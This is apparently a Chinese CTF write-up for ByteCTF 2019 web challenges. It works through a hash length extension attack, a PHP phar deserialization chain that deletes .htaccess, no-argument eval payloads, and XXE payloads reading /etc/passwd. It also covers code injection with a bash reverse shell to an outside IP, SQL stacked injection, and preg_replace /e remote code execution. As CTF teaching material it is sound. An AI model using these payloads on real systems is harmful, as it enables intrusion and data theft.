bytectf2019 wp
web
ezcms
www.zip
得到题目源码
hash 长度拓展攻击
首先是简单的 hash 长度拓展攻击,成为 admin
1 2 3 4 5 6 7 8 9
| from hashpumpy import hashpump import urllib
origin_hash='52107b08c0f3342d2153ae1d68e6262c' data = hashpump(origin_hash, "admin", 'daolgts', 13)
print data
print urllib.quote(data[1])
|
secret
长度为8,加上 admin
为13
得到的结果在 cookie['user']
加上
phar反序列化删除.htaccess
在 config.php
里的 File
类中发现 mime_content_type
函数,这个函数是能触发phar反序列化的
发现 Profile
类的 __call
方法比较可疑,调用了 open
方法,想到之前看到的一叶飘零师傅的文章 https://www.4hou.com/web/17976.html ,这里也是可以通过调用 ZipArchive
的 open
方法来删除文件
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <?php class Profile{
public $username; public $password; public $admin;
function __call($name, $arguments) { $this->admin->open($this->username, $this->password); } }
class File{
public $filename; public $filepath; public $checker;
function __construct($filename, $filepath) { $this->filepath = $filepath; $this->filename = $filename; }
function __destruct() { if (isset($this->checker)){ $this->checker->upload_file(); } }
}
$zip=new ZipArchive();
var_dump($zip);
$a = new Profile(); $a->username = "/var/www/html/sandbox/d192c183a36d3a245d7861f3c0c2dc0c/.htaccess"; $a->password = "9"; $a->admin= $zip; var_dump($a);
$o = new File('a','b'); $o->checker = $a; var_dump($o);
@unlink("daolgts_fuck.phar"); $phar = new Phar("daolgts_fuck.phar"); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
|
这里踩了好几个坑,先是文件名应该是传入绝对路径,一开始传入 ./sandbox/d192c183a36d3a245d7861f3c0c2dc0c/.htaccess
时有问题,debug发现是拼接了 php 的路径,而不是 web 目录的路径(/var/www/html
),后来验证了下 web 目录确实是 /var/www/html
。然后是一开始每次执行完 payload 我都要去访问下 upload.php
,结果又把 .htaccess
给生成了,导致我一直以为 exp 写的有问题,debug 了好长时间。。
然后绕过正则对 phar
的过滤
1
| http://112.126.102.158:9999/view.php?filename=2ac37df34ba3d49e6138e7892d406da0.phar&filepath=php://filter/read/resource=phar://./sandbox/d192c183a36d3a245d7861f3c0c2dc0c/2ac37df34ba3d49e6138e7892d406da0.phar
|
之后访问上传的shell
boring_code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; }
if (isset($_POST['url'])){ $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); if (preg_match('/baidu\.com$/', $r['host'])) { $code = file_get_contents($url); if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } } else { echo "error: host not allowed"; } } else { echo "error: invalid url"; } }else{ highlight_file(__FILE__); }
|
url 里需要有 baidu.com
,可以注册 xxxbaidu.com
之类的域名,也可以利用 https://www.baidu.com/link?url=xxx
之后就是匹配正则 if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code))
,传入无参数的函数来执行
几个payload:
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
readfile(end(scandir(chr(time(chdir(next(scandir(chr(time())))))))));
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
基本的思路就是通过 pos(localeconv())
或者 chr(time())
又或者其他的操作来获得 .
,再通过 next
,scandir
获得 ..
和 index.php
(要读的文件),使用 chdir
来切换目录,读取flag
当正则允许的字符为 \w
时,可以使用 getenv()
,getallheaders()
,get_defined_vars()
,session_id()
等来RCE https://xz.aliyun.com/t/6316
RSS 也是一种XML,也有xxe漏洞
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE title [ <!ELEMENT title ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> <channel> <title>The Blog</title> <link>http://example.com/</link> <description>A blog about things</description> <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate> <item> <title>&xxe;</title> <link>http://example.com</link> <description>a post</description> <author>author@example.com</author> <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate> </item> </channel> </rss>
|
读源码,发现
1
| usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
|
order
存在代码注入
payload:
1 2 3
| <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" >]>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://www.zsxsoft.com/rss222.php&order=id,1)%2Bsystem('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F129.204.79.120%2F23458%200%3E%261%22')%2Bstrcmp(''" >
|
babyblog
$row['title']
没有任何过滤,二次注入获得vip账号或者堆叠注入UPDATE为vip用户
1
| hpdoger';SET @SQL=0x555044415445207573657273205345542069737669703d3120574845524520757365726e616d653d276870646f67657227;PREPARE pord FROM @SQL;EXECUTE pord;
|
1
| $content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));
|
php5.3,find处可以用/e
修饰符来rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| ----------1922216787 Content-Disposition: form-data; name="find"
bb%00/e ----------1922216787 Content-Disposition: form-data; name="replace"
eval($_POST['cc']); ----------1922216787 Content-Disposition: form-data; name="regex"
1 ----------1922216787 Content-Disposition: form-data; name="id"
971 ----------1922216787 Content-Disposition: form-data; name="cc"
var_dump(antsystem('/readflag')); exit; ----------1922216787--
|
然后利用 php-fpm
或者 error_Log
来绕过 disable_functions
referer